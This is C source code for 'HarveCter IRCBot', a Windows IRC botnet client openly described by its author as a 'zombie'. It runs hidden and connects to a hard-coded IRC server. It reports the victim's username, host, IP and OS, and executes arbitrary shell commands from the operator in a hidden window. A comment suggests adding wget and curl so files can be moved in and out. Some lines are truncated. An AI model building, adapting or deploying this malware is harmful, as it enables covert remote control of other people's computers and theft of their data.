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/*
HarveCter IRCBot 0.8
This 31337 code by: Harvie 2007
Windows IRC Bot/Zombie/Whatever you want...
```

INFO:
Optimized for Dev-Cpp
Compile as window app to make a daemon

Warning:
There is not so big security!!!
If you want to keep your zombies,
control them only by PM or at completely secure channel!!!
All passwords, that are starting with your password will be accepted!!!

COMMANDS:
Warning: all commands are case sensitive

```
!login [login]      //Bad login=logout
!chanpass           //Set mode +k
```

PRIVILEGED COMMANDS:

```
!SAY [msg]          //Say msg
!CMD [shell command] //Execute command @ zombie
!raw [line to send] //Sends raw line to server (you can OP yourself)
!info               //Info about zombie
!time               //Localtime @ zombie
!show               //Show console window
!hide               //Hide console window
!restart            //Restart connection
```

Comments:
6 * 128 == 768 == Maximum lenght of IRC message (RFC)
*/

```
//Preproc:
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <winsock.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.a");
```

//Sends IRC message "msg" to "channel" over socket "s".

```
int irc_sendmsg(int s, char *channel, char *msg) {
    int len, err;
    char snd[1024];
    sprintf(snd, ": PRIVMSG %s :%s\n", channel, msg);
    len = strlen(snd);
    err = send(s, snd, len, 0);
    //printf("%s", snd); //Show
    return err;
}
```

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//Main:
//int main(int argc, char *argv[]) {
int WINAPI WinMain (HINSTANCE instance, HINSTANCE previous, LPSTR cmdline, int show) {
```

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//SETTINGS: //////////////////////////////////////
char server[] = "irc.2600.net"; //IRC Server
int port = 6667; //Port of IRC Server
char channel[] = "#hv"; //IRC Channel
char nick[128] = "Harvester"; //Username of active user will be used instead
char pass[] = "test"; //Bot Password
char chanpass[] = "lol"; //Channel Password
//MISC:////////////////////////////////////////
char cmdfile[] = "commands.bat";
FILE *cmdf;
char version[] = "0.8"; //Bot version
char lclhost[256], lclhostnm[256], hostmsg[1000];
//AllocConsole(); //Ukazat
//FreeConsole(); //Schovat... ;)
//freopen("log.txt", "ab", stdout);
////////////////////////////////////////

//CODE:
srand(time(0));
char *user, *processor, *root, *logonsrvr, *os, rnd[10];
struct tm *localtime(const time_t *tod);
user = getenv("USERNAME");
processor = getenv("PROCESSOR_IDENTIFIER");
root = getenv("SystemRoot");
logonsrvr = getenv("LOGONSERVER");
os = getenv("OS");
sprintf(rnd, "%i", rand());
sprintf(nick, "H-%s-%s", user, rnd);
//time
time_t cas;
struct tm *p_st_cas;
//CMD
FILE *p_proc;
char procc;

//Intro
printf("HarveCter IRCBot v%s\nConnecting: %s@%s:%i as %s\n", version, channel, server, port, nick);
//system("pause");

//Deklarace pro WSA
int s;
SOCKADDR_IN sck;
HOSTENT *host, *localhost;
WSADATA wsadata;
WSAStartup(MAKEWORD(1,1), &wsadata);

//Data pro WSA
while( (host=gethostbyname(server)) == NULL){ //Host
    printf("!Error server host not found\nwaiting 5s...\n");
    sleep(5000);
}
sck.sin_family = PF_INET;
memcpy(&sck.sin_addr.s_addr, host->h_addr, host->h_length);
sck.sin_port = htons(port); //Port

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//Localhost Info
while ((localhost=gethostbyname("")) == NULL) {
    printf("!Error local host not found\nwaiting 5s...\n");
    sleep(5000);
}
sprintf(lclhostnm, "%s", localhost->h_name);
sprintf(lclhost, "%s", inet_ntoa(*(struct in_addr *)localhost->h_addr));
sprintf(hostmsg, "USER: %s at HOST: %s ( IP: %s ) SERVER: %s - OS: %s (%s) - ARCH: %s\n", user, lclhostnm,
printf("%s\n", hostmsg);

//Init
int len, err; //Lenght, Error
char snd[1024], msg[1000], rcv[1024], passin[1000], *sub;

//Infinite Loop
while(1) {

//Vytvorit socket
s=socket(AF_INET, SOCK_STREAM, 0);

//Pripojiti
while( ( connect(s, (struct sockaddr *)&sck, sizeof(sck)) ) ) {
    printf("!Error while connecting\nwaiting 5s...\n");
    sleep(5000);
}

//Prihlasit
sprintf(snd, "USER USER %s # # :%s\nNICK %s\nJOIN %s\n", nick, nick, nick);
len = strlen(snd);
err = send(s, snd, len, 0);

//Join&Set channel password
sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
sleep(1000);
err = send(s, snd, len, 0);
//mode #chan +k heslo
sleep(2000);
sprintf(snd, "MODE %s +n+k %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);
sleep(1000);
err = send(s, snd, len, 0);

//Pozdravit
sprintf(msg, "Hello ;), let my introduce myself... I am %s v%s", nick, version); //Zprava
err = irc_sendmsg(s, channel, msg);
sprintf(msg, "!chanpass"); //Pozadat opa o nastaveni hesla
err = irc_sendmsg(s, channel, msg);

//Loop
err = 1;
while( err && err != -1) {

    //JOIN
    sprintf(snd, "JOIN %s %s\n", channel, chanpass); len = strlen(snd); err = send(s, snd, len, 0);

    //RECIEVE
    memset(rcv, '\0', 1024);
    sub = 0;

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err = recv(s, rcv, 1024, 0);
printf("%s", rcv);

//PING-PONG
if ( (sub = (strstr(rcv, "PING :")) ) ) {
    sub = sub+6;
    sprintf(snd, "PONG :%s", sub);
    len = strlen(snd);
    err = send(s, snd, len, 0);
    printf("%s", snd);
}
sub = 0;

if ( (sub = (strstr(rcv, "!:chanpass"))) ) {
    printf("!Setting chanpass\n");
    sprintf(snd, "MODE %s +n+k %s\n", channel, chanpass);
    len = strlen(snd);
    err = send(s, snd, len, 0);
}
sub = 0;

//LOGIN
if ( (sub = (strstr(rcv, "!:login "))) ) {
    sub = sub+8;
    sprintf(passin, "%s", sub);
    if ( strstr(passin, pass) ) { //Use this condition to check login.
        sprintf(msg, "Login succesful");
        irc_sendmsg(s, channel, msg);
        printf("\n!!!Login succesful\n");
    } else {
        sprintf(msg, "Loged out");
        irc_sendmsg(s, channel, msg);
        printf("!!!Loged out\n\n");
    }
}
sub = 0;

//IF LOGED IN:
if ( strstr(passin, pass) ) {

    //SAY
    if ( (sub = (strstr(rcv, "!:SAY "))) ) {
        sub = sub+6;
        sprintf(msg, "MSG: %s", sub); //Zprava
        err = irc_sendmsg(s, channel, msg);
    }
    sub = 0;

    //INFO (USER, DOMAIN, IP, ARCHITECTURE)
    if ( (sub = (strstr(rcv, "!:info"))) ) {
        err = irc_sendmsg(s, channel, hostmsg);
    }
    sub = 0;

    //TIME
    if ( (sub = (strstr(rcv, "!:time"))) ) {
        printf("Time\n");
        //struct tm t;

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    cas = time(NULL);
    p_st_cas = localtime(&cas);

    strftime(msg, 512, "%H:%M:%S (%p) - %d(%A) %m(%B) %Y - %Z", p_st_cas);
    //strftime(msg, 100, "%B %d, %Y", localtime);

    //sprintf(msg, "Time not implementet yet...\n");
    err = irc_sendmsg(s, channel, msg);
}
sub = 0;

//SEND RAW
if ( (sub = (strstr(rcv, "!:raw "))) ) {
    sub = sub+6;
    len = strlen(sub);
    err = send(s, sub, len, 0);
}
sub = 0;

//SHELL
//Hey! Don't forget to download wget&curl in bot directory!! ;D
//With wget and curl you will be able to download and upload files...
if ( (sub = (strstr(rcv, "!:CMD "))) ) {
    sub = sub+6;
    sprintf(snd, "%s", sub);
    printf("!:CMD %s", snd);

    sprintf(msg, "Executing: %s", sub);
    irc_sendmsg(s, channel, msg);
    printf("!!! %s", msg);

    FILE *cmdf = fopen(cmdfile, "w");
    fprintf(cmdf, "%s\n", snd);
    fclose(cmdf);

    WinExec(cmdfile, SW_HIDE); //Hide console window
    //system(cmdfile); //Show console window

    /*
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    PROCESS_INFORMATION pi;
    CreateProcess(NULL, cmdfile, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    WaitForSingleObject(pi.hProcess, INFINITE);
    DWORD exit_code;
    GetExitCodeProcess(pi.hProcess, &exit_code);
    */
}
sub = 0;

//HIDE/SHOW (windows.h)
if ( (sub = (strstr(rcv, "!:hide"))) ) { FreeConsole(); } sub = 0;
if ( (sub = (strstr(rcv, "!:show"))) ) { AllocConsole(); } sub = 0;

//RESTART
if ( (sub = (strstr(rcv, "!:restart"))) ) {

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        sprintf(msg, "Please wait while restarting...");
        err = irc_sendmsg(s, channel, msg);
        closesocket(s);
        sprintf(msg, "ERROR: Couldn't close socket :(");
        err = irc_sendmsg(s, channel, msg);
        printf("\nRESTARTING...\n\n");
    }
    sub = 0;
} //END LOCKED COMMANDS
} //LoopEND

//Zavrit
closesocket(s);
printf("!Error while sending\nwaiting 5s before reconnect...\n");
sleep(5000);
} //InfiniteLoopEND

//Zavrit
closesocket(s);
WSACleanup(); //Flushnout WSA
return(0);
}

```